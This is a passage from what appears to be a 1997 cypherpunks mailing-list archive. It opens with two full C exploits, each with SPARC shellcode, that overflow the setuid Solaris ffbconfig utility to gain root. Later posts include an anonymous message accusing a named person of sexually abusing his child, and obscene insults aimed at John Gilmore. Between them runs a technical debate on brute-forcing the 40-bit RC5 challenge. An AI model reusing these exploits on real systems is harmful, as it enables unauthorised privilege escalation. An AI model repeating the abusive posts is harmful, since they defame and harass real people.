#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------ end of "ffbcexp25.c"  --------------------------------

-------------------------------- second --------------------------------------

/*
This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;


u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;
  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------------ end of ffbcexp24.c -----------------------------

Cristian Schipor - Computer Science Faculty  - Romania -  Bucharest 
Email: skipo@math.pub.ro or skipo@ns.ima.ro
Phone: (401) 410.60.88


PS: "special for STFP"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 10 Feb 1997 19:26:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: 40-bit encryption keys
Message-ID: <199702110326.TAA08826@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Derogatory L[oathe] Vilus K[ankersore] Of The Minute will fuck
anything that moves, but he'd rather be fucking his own daughter's
prepubescent body.

          \
         o/\_ Derogatory L[oathe] Vilus K[ankersore] Of The Minute
        <\__,\
         '\,  |






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 10 Feb 1997 19:51:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: ping
Message-ID: <3.0.32.19970210195254.006cb21c@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


ping


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Feb 1997 17:40:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: BCQ B/\ACTb COBKAM!!!
In-Reply-To: <19970210204708.13811.qmail@squirrel.owl.de>
Message-ID: <R2sX2D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Secret Squirrel <nobody@squirrel.owl.de> writes:

> COBKU rule!!!
     _
HA XYU COBKOB!!!

Lying cocksucker John Gilmore sodomizes waterfowl.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 10 Feb 1997 11:45:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702101916.UAA27175@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


[Excerpts from Winn Schwartau's  2/9 "InfoWar Digest," with responses to
Paul Strassmann's diatribe on the RSADS Secret-Key Challenge.  Burt
Kaliski, Tim May, Padgett Peterson -- among others -- toss in their two
bits. Longish.

[FYI: RSADS still has 12 open Challenges pending, offering cash rewards for
anyone who can decrypt 56-bit DES -- or any of eleven _other_ RC5
cyphertext samples, encrypted with keys of varied lengths, ranging from
48-bit through 128-bits. Details somewhere on the RSA site:
<http://www.rsa.com> ]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From: Burt Kaliski <burt@RSA.COM>
To: "'infowar@infowar.com'" <infowar@infowar.com>
Subject: Further to Goldberg's Cracking Accomplishments
Date: Wed, 5 Feb 1997 13:58:53 -0800

Paul A. Strassmann <paul@strassmann.com> quoted a UC Berkeley press
release on Ian Goldberg's successful effort to discover the unknown 40-bit
key to an RC5 ciphertext offered in the RSA Data Security Secret-Key
Challenge, and raised a number of justifiable concerns about whether a
contest like the Challenge is an appropriate measure of the security of a
40-bit encryption algorithm in an InfoWar environment.

>>As I suspected (see earlier private comment), the
>>highly promoted RSA cracking contest offered
>>a number of clues that ordinarly would not be
>>volunteered by info-terrorists or info-criminals to
>>IW Defense teams.
>>
>>These clues made the cracking significantly easier,
>>because it made it possible to eliminate an enormous
>>range of possible searches.

Mr. Strassmann is a well known scholar of the InfoWar threat environment. I
am not, so I cannot address those specific concerns directly -- but I would
like to offer some rationale as to why the Challenge was structured as it
was.

The RSA Data Security Secret-Key Challenge
<http://www.rsa.com/rsalabs/97challenge/>, started last week, is an open
contest sponsored by RSA Laboratories that offers cash prizes for the
successful recovery of encryption keys for the DES and RC5 block ciphers.
Following the model of the RSA Factoring Challenge which for several years
has provided an assessment of the security of the RSA public-key algorithm
at various key sizes, the Secret-Key Challenge is intended to measure of
the security of secret-key algorithms at various key sizes.

As was the case with the Factoring Challenge, full details of the algorithms
and key sizes are provided. In addition, three plaintext-ciphertext pairs
(the ciphertext encrypted with the key of interest) are provided for each key
to be recovered.

Last week, the first of the keys in the Challenge, a 40-bit RC5 key, was
recovered by Ian Goldberg, a U.C. Berkeley graduate student. His effort
involved about 250 workstations and took 3.5 hours.  When I called Mr.
Goldberg to congratulate him in a teleconference during the RSA Data
Security Conference last week, he explained that he had discovered the
valid key with a search of about 350 billion keys, using a university
computer network to search at a rate of 100 billion keys/hour.

There are about 1 trillion 40-bit keys, for any algorithm. Mr.
Goldberg's search method involved simple brute-force; that is, the known
plaintext was encrypted with each key, and then compared to the available
ciphertext, looking for a match.

The overall effort was essentially what was expected for the 40-bit key size,
and as one would expect, the recovery of a key for the other RC5 key sizes
(from 48 bits to 128 bit), or for DES (56 bits), will involve much more work.
With the same "brute force" method employed by Mr. Goldberg last week, one
would expect a 256-fold increase in effort for each eight-bit increase in
key size. Special-purpose hardware may reduce the actual time, of course,
but the total number of possible keys to be tested will grow at that rate.

Mr. Strassman expressed concern as to whether the successful recovery of
a 40-bit key in 3.5 hours is a realistic measure of the strength of 40-bit
keys in an InfoWar environment, where full details of the algorithm and
plaintext blocks are not necessarily known. Again, not being acquainted
with the threat environment, I cannot address his concerns directly.
Nevertheless, RSA Laboratories does consider this type of contest to be
appropriate as a general measure of cryptographic strength -- for RSA's
products and those of any other vendor in the international crytographic
community.

The information provided to RSA Secret-Key Challenge contestants is no more
than is common and conventional for any open contest to test the strength
of a cryptographic algorithm. These conventions have evolved within the
international community of cryptographers seeking, on the basis of several
acknowledged principles, to develop common criteria for measuring the
relative strength or security of any particular cryptographic algorithm
with a given key size. Our rationale for the structure of the Challenge is
reflected in the following observations:

* Knowledge of the algorithm and key size (as per Kerchoffs' principle), as
well as the availability of known plaintext, are standard assumptions in
modern cryptanalysis. Since an opponent may obtain this information
eventually, it is preferable not to rely on its secrecy when assessing
cryptographic strength.

* The implementation of large-scale key-search engines is simplified under
the standard assumptions. This makes the contest accessible to a wider
variety of contributors, than if we required contributors to know, for
instance, a particular language, or language statistics, or other
characteristics of the plaintext. (Perhaps another challenge where we didn't
provide plaintext samples would be a worthwhile follow-up.)

* In practice -- even if the plaintext is not known -- significant
information about it is likely to be, such as character distributions (ASCII,
English), header values (e.g., BER tag and length), or padding.  The cost (in
time, effort, and computing resources) of a key search with even a small
amount of information of this kind is not significantly more than the cost
with known plaintext.

For instance, if it is known that the characters are represented in ASCII,
for instance, then one can decrypt available ciphertext with each key and
check that the recovered plaintext follows ASCII conventions (most
significant bit of each byte 0). The chance that an incorrect key produces
plaintext that passes the test is 1/2^k where k is the number of plaintext
bytes recovered. This means, for example, that of 2^40 keys tried, we expect
only 2^32 to pass the check for a single eight-byte block. The 2^32 keys must
then be tested further against other ciphertext blocks.

So instead of 2^40 encryptions -- as in the case when the plaintext is known
--  a cryptanalyst would need to search within 2^40+2^32+2^24+2^16+2^8+1
(roughly) keys, to find the correct key. But this represents an increase in
effort of less than 0.5 percent.

RSA Laboratories appreciates the InfoWar Community's interest in the RSA
Data Security Secret-Key Challenge, and Mr. Strassmann's comments in
particular. We look forward to further suggestions and critiques of our
efforts.

-- Burt Kaliski
>Chief Scientist
>RSA Laboratories
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Date: Mon, 3 Feb 1997 21:42:24 -0800
To: infowar@infowar.com
From: "Timothy C. May" <tcmay@got.net>
Subject: Re: Infowar Digest Volume 02: Number 04 - Crypto and Goldberg

I seldom read your newsletter carefully. I did tonight, and discovered two
of the items you included contain serious errors.

(Of course, as a strong advocate of "infowar" I suppose I'm pleased to see
your subscribers in the government misled by these errors...it makes our
job a little easier in the long run.)

>To: infowar@infowar.com
>From: Patrick Galley <Patrick.Galley@studi.epfl.ch
>Subject: New crypto attack
>Date: Mon, 27 Jan 1997 07:56:39 +0000
>
>Hello
>
>A friend of mine told me to look at the WWW site "John Douglass'
>CryptoMaverick Page").
>
>There I've found a paper from John Douglass which says that if RSA
>products are sold worldwide it because there is a backdoor inside. He
>said the same thing for DES and PGP.
.....
>If this guy is right. It would be better for is security that everybody
>knows the truth.
>
>I think it would be nice if you could look at this doc and talk about it
>in infowar.com.

I looked at the site and it's a mixture of conspiracy theory rantings and
misinformation.

As to the security of various RSA algorithms (and PGP, for example), the
security of many of these algorithms lies in the publishing of the source
code, with digital signatures on the released binaries to allow independent
verification.

If a real security hole is found in, say, PGP or Netscape, expect it to be
publicized loudly and quickly. (Indeed, certain flaws have been found, and
quickly publicized. The same Ian Goldberg involved in later message was one
of those who isolated a flaw in the random number generator used in an
earlier version of Netscape.)

The web site mentioned here doesn't cut it, and this message here is just
more "disinformation" (itself a part of infowar, so I guess the author is
practicing his skills).

>Date: Thu, 30 Jan 1997 20:10:36 -0500
>To: "Wright Larry" <Wright_Larry@bah.com>
>From: "Paul A. Strassmann" <paul@strassmann.com>
>Subject: Further to Goldberg's Cracking Accomplishments
>Gentlemen:
>
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.

Paul Strassmann is simply missing the central point of cracking the 40-bit
export-allowed version. It is not based on a known plaintext attack, but on
exhaustive search of the 40-bit keyspace. What Goldberg and his colleagues
who contributed CPU time on the "NOW" (Network of Workstations) did was to
search approximately 100 billion keys per hour. As there are about a
trillion keys in the 40-bit keyspace, it was a foregone conclusion they
would find the key within 10 hours (modulo any screwups at their end), with
about half the time being the most likely time. As it was, they found the
key a tad bit early, by the luck of the draw (so to speak).

RSA certainly knows how long it takes to brute force the keyspace. They
just didn't know who would find the key first. (And at least one other
group reported a solution within minutes of Goldberg's report.)

So, Paul is simply throwing disinformation--or lack of understanding--into
the air by claiming that this crack does not mean a 40-bit key is "weak."
Simply put, it is. Anyone who looks at the math understands this. The
keyspace is simply too small for real security.

(Does the NSA use 40-bit keys? Of course not. Hmmmhhh.)

As the select panel of cryptographers empaneled to study key lengths
concluded, 56 bits is already too weak, 80 bits is better and should be
adopted forthwith for export, and >96 bits is preferable.

As an "infowarrior" of sorts myself, I can assure you that we don't give a
hoot in hell what the regs say is "allowed." When any tourist on his way to
Europe can carry as many CD-ROMSs and DAT tapes in his luggage as he
wishes, with absolutely no "exit checks," who really cares what the "export
laws" allow?

(I carried 5 gigabytes of data, some of it crypto-related, to a meeting
with cryptographers and crypto anarchists in Monte Carlo a while back.
Obviously I was not searched or even glanced at on my way out, nor on my
arrival at Charles de Gaulle airport, etc. Only upon my return to San
Francisco was I asked what my business had been. The Customs Officer gave
me a blank look when I told him I was meeting with cryptographers in Monte
Carlo (I told him the truth, knowing I was breaking no laws whatsoever). He
had no idea what I was talking about, and was bored. He then asked me if I
was bringing back any stuff I bought in shops over there. "No," I told him.
He just waved me through.)

Not to mention the ease with which stuff is shipped out over the Internet.
(I made a bet a couple of years ago that each major new cipher would arrive
at offshore non-U.S. sites within 3 hours of release in the U.S. Remailers
make it so easy to bounce stuff around.)

And of course I was the one in 1988 who first proposed the now-popular
method of using the least significant bits (LSBs) of CDs and DATs filled
with music, and LSBs of GIF images, to transparently export megabytes of
data undetectably. (To any sniffers, the LSBs are formally and
statistically identical to the ordinary noise of microphones and recording
electronics.) A normal 2-hour DAT tape of a recording I made off the radio
or off of one of my CDs can carry 160 megabytes of "data" riding in just
the LSBs alone. That's equivalent to 16 copies of the Bible, or a
significant chunk of the B-2 Stealth bomber CAD database.

I'd like to see your list get involved in more accurate and less
scare-mongering discussions.

--Tim May
Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 00:52:28 -0500 (EST)
From: "Craig H. Rowland" <crowland@psionic.com>
To: "Betty G. O'Hearn" <betty@infowar.com>
Subject: RSA

> Date: Thu, 30 Jan 1997 20:10:36 -0500
> To: "Wright Larry" <Wright_Larry@bah.com>
> From: "Paul A. Strassmann" <paul@strassmann.com>
> Subject: Further to Goldberg's Cracking Accomplishments
> Gentlemen:
>
> As I suspected (see earlier private comment), the
> highly promoted RSA cracking contest offered
> a number of clues that ordinarly would not be
> volunteered by  info-terrorists or info-criminals to
> IW Defense teams.
>
> These clues made the cracking significantly easier,
> because it made it possible to eliminate an enormous
> range of possible searches.

You are talking about implementing security through obscurity. You can
never assume that an enemy does not know what security precautions are in
place to protect information, or in this case, what cipher
you have chosen to protect your data. The security of your in-place
mechanisms should be able to stand on their own merits under a worst
case scenario of full public disclosure.

>
> The following was extracted verbatim from the
> <The RSA Data Security Secret-Key Challenge>
> posted on <http://www.rsa.com/rsalabs/97challenge/>:
>
> Clue #1:
>
>   " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
> will use
>    12-round RC5 with a 32-bit word size. "
>
> Clue #2:
>
>   " ...The first RC5 contest will consist of some unknown plaintext
> encrypted using a 40-bit key;."
>
> Clue #3: (a  giveway!)
>
>  " ... For each contest, the unknown plaintext message is preceded by three
>    known blocks of text that contain the 24-character phrase "The
>    unknown message is:  .....".

Let me address 1, 2, and 3 all together as they all suffer
from the same flaw in logic as discussed above.

First, the ciphers in this contest includes more than RC5, the main
point of the contest is not to illustrate the security of a particular
cipher from cryptanalytic attack, but rather to show that key lengths that
are too short are insecure against a brute force attack. The fact that the
cipher is known does not affect the overall purpose of the contest.

Second, you are again assuming the cipher is unknown by your enemy.
Suppose you are a financial institution, I can be almost 100% assured that
your communications are protected with DES as the cipher. If I can
discover what equipment you are using and what modes the cipher runs in
(CBC, ECB, etc) I can then attempt a similiar brute-force attack using
the widely available DES specifications. Commercial organizations using
exportable software systems suffer the same fate. You are also assuming
that a mathmatical analysis of the encrypted data stream will not reveal
what cipher is being used. Various statistical attacks could reveal key
pieces of information that could quickly unveil what cipher you are using
and what mode it is being run in.

Third, just because part of a message is known does not mean the contest
is invalid. Many network communication protocols use a fixed set of
characters to establish and end communication sessions. An attacker, aware
of how the protocols work, can often discern what a message may contain
when it is initiated. An example of this could include SMTP traffic which
includes a standard set of protocol keywords, or an electronic funds
transfer which includes unique bank identification numbers or other
similar data. This is called a known plaintext attack and is very common.

>
> In summary: The claim of exportable cryptography being totally
> insecure, because it can be cracked in 3.5 hours is not
> realistic. The three clues announced in the contest
> would not apply  under infowar conditions.

Again, this is not correct. You are assuming total ignorance by the enemy
which is rarely the case.

>
> What other clues may have been provided to Goldberg
> to  support private agendas and gain shrill headlines
> is also a matter of speculation, but I rest my case.

Why does one even need a "clue" about this key size? It should be obvious
to anyone remotely educated/interested in the field of cryptography that
the reason the NSA limits exportable key length to 40 bits or less to
begin with is so they can do the same thing at Ft. Meade on their
internal computers that was done here publically.

The whole debate over exportable encryption rarely rests on the cipher,
but rather on the *length* of the keys used. This *alone* should be enough
to convince the reader that key length is in fact a very vital issue for
both the NSA and the Internet community.

> I certainly cannot assert that a 40 bit key cannot be decyphered.
> However, I do not think that the RSA unqualified claims
> offer full and appropriate disclosure.

Nonsense..RSA sells cipher technology that uses both 40 bit encryption and
higher, they make their money either way...their only bias in this area is
that they have their exportable software crippled in such a way as to make
it useless to foreign buyers. Luckily companies in Finland, Switzerland,
and Germany are starting to take up the slack and provide strong
cryptographic products of their own.

-- Craig

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 12:49:25 -0500 (EST)
To: infowar@infowar.com
From: Bob Stratton <strat@wheelgroup.com>
Subject: RSA's Challenge Claims and the Real World


In Infowar Digest Volume 02, Number 04, Paul Strassman writes:

>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.
>
>What other clues may have been provided to Goldberg
>to  support private agendas and gain shrill headlines
>is also a matter of speculation, but I rest my case.
>
>I certainly cannot assert that a 40 bit key cannot be decyphered.
>However, I do not think that the RSA unqualified claims
>offer full and appropriate disclosure.

I feel compelled to respectfully submit what may be considered a rebuttal.
In general, I tend to dismiss claims of anything being "totally" anything,
but in this particular instance, I think further discussion may be warranted.

I admit to being a little surprised by this tack on the part of RSA. RSA
Labs (the research side of that house) has earned my respect over time by
doing serious cryptological work and publishing it in a thoughtful, academic
manner worthy of note.

The histrionics of press releases notwithstanding, I think these comments
merit further examination:

I may concede that the "three clues...would not apply under infowar
conditions". In doing so, I must also ask for further clarification as to
exactly which infowar Mr.Strassman is referring. Given this forum's
consideration of the national security implications of attack on the
financial infrastructure, it seems a fair question.

In any event, I question whether this is relevant within the context of the
challenge, and the purposes behind it. RSA's purpose in posting this
challenge was presumably to enlighten the public and others as to the
_relative_ strength of currently exportable cryptosystems.

I have no doubt that the agenda behind this is to encourage resistance to
current U.S. policies on cryptographic export, a stance designed to maximize
share value in what is admittedly a commercial venture. I'm also willing to
note that I have a general distaste for INFOSEC "challenges" of any sort.

I would, however, like to explore the assertion that the clues posted in the
challenge were not offered in the spirit of full and fair disclosure. I will
concede in any case that this was not an exhaustive, controlled study.
"Challenges" such as these have a place. Within the INFOSEC environment,
cryptanalytic attack appears to be one of the more reasonable areas for them.

Compared to "challenges" against network "firewalls", for example,
cryptanalysis is an area where there is the opportunity to adequately define
the goal and to measure the result. In this case, RSA was not attempting to
prove a negative, as have so many (too many) other firms offering so-called
"challenges".

If we restrict our focus for purposes of argument to commercially available
cryptographic software, the clues become significantly less onerous and
mysterious.

Clue #1, the disclosure of 12-round RC5 with a 32-bit word size, is
certainly the most arcane of the lot. Speaking as a former commercial
software developer, I would be quite surprised if vendors would not
routinely disclose information of this sort. Certainly vendors using
standard algorithms would tend to be more willing to do so than those using
proprietary ones, which only bolsters my later arguments, as you will see
below.

If we may depart for just a moment to other algorithms, almost any
_standard_ implementation of an algorithm which is interoperable with other
implementations would, by definition, disclose or facilitate disclosure of
this sort of information, by its very nature. Again, in a commercial
environment, interoperability is key (no pun intended), so it's likely that
implementation details are either available, or readily deducible.

Clue 2, the disclosure of key size, again meets the standards just
discussed. In the case of products recently exportable from the U.S., one of
two things is generally true. Either the key size is actually 40 bits, or
the key size is larger than 40 bits, but steps are taken to make all key
information beyond 40 bits accessible to observers of the tool. Again, in a
commercial environment, this is no secret.

Clue 3 is perhaps where I'm most inclined to agree with Mr. Strassman.
Disclosure of known plaintext, in this case the phrase "The unknown message
is:" is certainly quite serious in that it may significantly aid
cryptanalytic attack. My only comment here is that in the commercial arena,
interoperability demands standards, and standards define consistent
protocols. Those protocols will almost always result in some manner of
reproducible content, most readily exemplified by message headers in
electronic mail systems. While mechanisms exist for enhanced cryptographic
protection of said content, in general the commercial environment has lagged
behind the military, and perhaps rightly so.

In none of the aforementioned cases, however, do I see information that
fundamentally invalidates the significance of RSA's Challenge TO THE
CIVILIAN  COMMERCIAL INFOSEC COMMUNITY. That community has serious, current
INFOSEC needs, and one must question (as I know many of us do every day) to
what degree we're willing to lay our economic fabric open to subversion in
order to lessen the cost of intelligence collection.

--Bob Stratton
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 9:25:21 -0500 (EST)
From: "A. Padgett Peterson P.E. Information Security"
<PADGETT@hobbes.orl.mmc.com>
To:   infowar@infowar.com
Subject: RSA challenge

Paul rote:
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.
...
>Clue #3: (a  giveway!)

> " ... For each contest, the unknown plaintext message is preceded by three
>   known blocks of text that contain the 24-character phrase "The
>   unknown message is:  .....".

Those who follow my hobby may have noticed that about two years ago I began
using the "3.5 hour" figure to assign a maximun value of $250 to any
information sent via a 40 bit code. The advent of multiple parallel machines
(via networks) capable of operating entirely out of L1 cache just made
the technology available.

However, such attacks do rely on known plain text for speed (final test
is a simple XOR/alarm if zero. The same technology was used in Colossis
back in 1944. It was just a touch slower.

The simle answer is message compression prior to encryption which would
make deciding when the message was broken much more difficult.

Naysayers claim "there is always KPT" but this does not need to be true.
- whole months of Enigma traffic went undecoded because there was no
crib available but eventually human error gave the BP team a clue. Today,
electronic systems can remove such errors from human hands.

Personally believe that 56 bits is "good enough" today though it makes
little sense from a programming standpoint not to use 64 *so long as
a different key is used for every message and every message, no matter
how trivial, is encrypted*.

Or you could use a "shared secret" book code: a simple XOR with a
digital satellite data stream transmitting compressed video should
do nicely. All that is needed is to know which stream and when to
start. I call that an "unwitting key provider".

So as Paul says, the contest proves little except to confirm my 3.5
hour estimate (remember the gentleman in France who broke the 40 bit
NS code last year and what his time was...) - but that was for equipment
available several years ago.

Today I use the figure of one gig kps (keys per second) for 1997 equipment
per seive. A single one would break 40 bits in an average of under 10 min.
DES would fall in a day to 400 in parallel. But the question remains:
without KPT, how can you tell when the break occured ? Is a world of
difference between an XOR and decompression. And if every message uses a
differnt key...

					Warmly,
						Padgett

ps WORD virus anti-virus macro is avaliable: http://www.netmind.com/~padgett/
   under "Anti-Virus hobby". FreeWare.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Feb 1997 18:00:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: this has gone on long enough
In-Reply-To: <199702110042.QAA02191@toad.com>
Message-ID: <FmuX2D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

> Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
> epidemic on the list these days.

Given the recent activities by John Gilmore, extreme mistrust is in order.
John, you are a lying asshole and your reputation is shit.

By the way: a number of people asked me for the references on some of the
new codes which I believe will replace factorization. Check out US Patent
5,577,124, "A Multi-Purpose High Speed Cryptographically Secure Sequence
Generator Based on One-Way Zeta Functions". Very exciting reading.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Mon, 10 Feb 1997 13:45:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: BCQ B/\ACTb COBKAM!!!
Message-ID: <19970210204708.13811.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


COBKU rule!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Mon, 10 Feb 1997 19:03:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting Survey on Computer Security
Message-ID: <32FFE1C0.4FE3@sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


This artilce has some interesting info on how bad infosec on the web is.
<http://www.infowar.com/infosec/introduction.html>
---DS




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 10 Feb 1997 21:38:01 -0800 (PST)
To: gomez@BASISINC.com
Subject: [Fwd: FWD Adm Humor]
Message-ID: <33001458.39FC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: message/rfc822


To: rowan talk <rt@majordomo>
Subject: FWD Adm Humor
From: Nick Schmelz <schmelz@jupiter.rowan.edu>
Date: Fri, 7 Feb 1997 15:37:55 -0500 (EST)
Resent-Date: Mon, 10 Feb 1997 18:44:02 EST
Resent-From: <LARRIER@rowan.edu>
Resent-Message-Id: <199702102230.RAA16773@news.rowan.edu>
Resent-To: toto@orion.sk.sympatico.ca
Sender: owner-rt@jupiter.rowan.edu

---------- Forwarded message ----------
From:	HEROES::FITZGERALD    7-FEB-1997 14:18:16.47
To:	SCHMELZ
CC:	
Subj:	Administratiave Humor

           From: "Curt Denny" <adr016@clc.cc.il.us>

The heaviest element known to science was recently discovered by GM
Research physicists.  The element, tentatively named Administratium, has
no protons or electrons and thus has an atomic number of zero.  However,
it does have one neutron, 125 assistant neutrons, 75 vice neutrons, and
111 assistant vice neutrons.  This gives it an atomic number of 312. 
These particles are held together by a force that involves the
continuous exchange of meson-like particles known as morons.

Since it has no electrons, Administratium is inert.  However, it can be
detected chemically because it impedes every reaction it comes in
contact with.  According to the discoverers, a minute amount of
Administratium caused one reaction to take four days to complete when it
would have normally occurred in less than one second.  Administratium
has a normal half-life of approximately three years, at which time it
does not actually decay, but instead undergoes a reorganization in which
assistant neutrons exchange places.  Some studies have shown that the
atomic mass actually increases after each organization.

Research at other laboratories indicates that Administratium occurs
naturally in the atmosphere.  It tends to concentrate at certain points
such as government agencies, large corporations and universities, and
can usually be found in the newest, best appointed and best maintained
buildings.

Scientists point out that Administratium is known to be toxic at any
detectable level of concentratitroy any productive
reaction where it is allowed to accumulate.  Attempts are being made to
determine how Administratium can be controlled to prevent irreversible
damage, but results to date are not promising. 

                               Check us out at:
                           http://www.clc.cc.il.us


     "There is no limit to the amount of good that people can accomplish if they don't care who gets the credit!"

Curtis L. Denny
College of Lake County
Director of Admission and Records
19351 West Washington Street
Grayslake, IL 60030-1198
Phone:  (847) 223-6601, Ext. 2384
Fax:    (847) 223-1017
E-Mail:  CurtDenny@clc.cc.il.us









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
